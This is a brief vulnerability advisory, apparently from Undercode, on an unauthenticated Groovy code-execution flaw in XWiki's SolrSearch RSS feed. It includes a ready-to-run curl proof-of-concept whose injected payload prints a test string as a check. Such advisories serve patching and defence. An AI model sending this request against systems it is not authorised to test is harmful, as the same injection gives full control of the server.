Listen to this Post
The CVE-2024-XXXX vulnerability in XWiki Platform is an unauthenticated remote code execution flaw within the SolrSearch feature. It stems from insecure processing of user-supplied input in the `text` parameter for generating RSS feeds. The application uses the Apache Velocity template engine, and the vulnerability allows an attacker to break out of the expected template context. By injecting a carefully crafted sequence of closing braces `}` and Velocity directives, an attacker can escape the string literal in which the `text` parameter is placed. This escape enables the injection of powerful Velocity directives, specifically `async` and groovy, which subsequently permit the execution of arbitrary Groovy code on the underlying server. The Groovy code runs with the same privileges as the XWiki application itself, leading to a complete compromise of the host.
Platform: XWiki Platform
Version: <15.10.11,<16.4.1
Vulnerability: RCE
Severity: Critical
date: 2024
Prediction: 2024-11-15
What Undercode Say:
curl -s "<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20from%22%20%2B%20%22%20search%20text:%22%20%2B%20(23%20%2B%2019))%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D%20" | grep "Hello from"
println("Hello from" + " search text:" + (23 + 19))
How Exploit:
Crafted HTTP Request
Unauthenticated Access
Groovy Code Injection
Protection from this CVE
Patch Installation
Input Sanitization
Content-Type Enforcement
Impact:
Full System Compromise
Data Theft
Service Disruption
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
